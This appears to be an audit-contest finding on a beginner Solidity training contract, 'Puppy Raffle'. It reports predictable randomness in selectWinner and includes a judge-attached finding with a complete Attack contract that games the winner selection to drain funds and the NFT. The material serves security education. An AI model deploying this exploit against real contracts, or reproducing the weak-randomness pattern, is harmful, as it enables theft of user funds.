Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

`PuppyRaffle::selectWinner` uses very weak randomness in choosing the winner

just

PuppyRaffle::selectWinner uses very weak randomness in choosing the winner

Description

When calling the selectWinner function to determine the winner, data that is easily forged is used. Using variables such as msg.sender, block.timestamp, block.difficulty is highly discouraged for use in generating random numbers.

function selectWinner() external {
require(
block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over"
);
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
@> uint256 winnerIndex = uint256(
keccak256(
abi.encodePacked(msg.sender, block.timestamp, block.difficulty)
)
) % players.length;

Risk

A hacker can easily falsify data and emerge victorious.

Impact:

An attacker can pick these variables and win the lottery continuously, thus taking money from the protocol.

Proof of Concept

​

Recommended Mitigation

Remove pseudo-randomness, and replace with a random number oracle.

function selectWinner() external {
require(
block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over"
);
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
- uint256 winnerIndex = uint256(
keccak256(
abi.encodePacked(msg.sender, block.timestamp, block.difficulty)
)
) % players.length;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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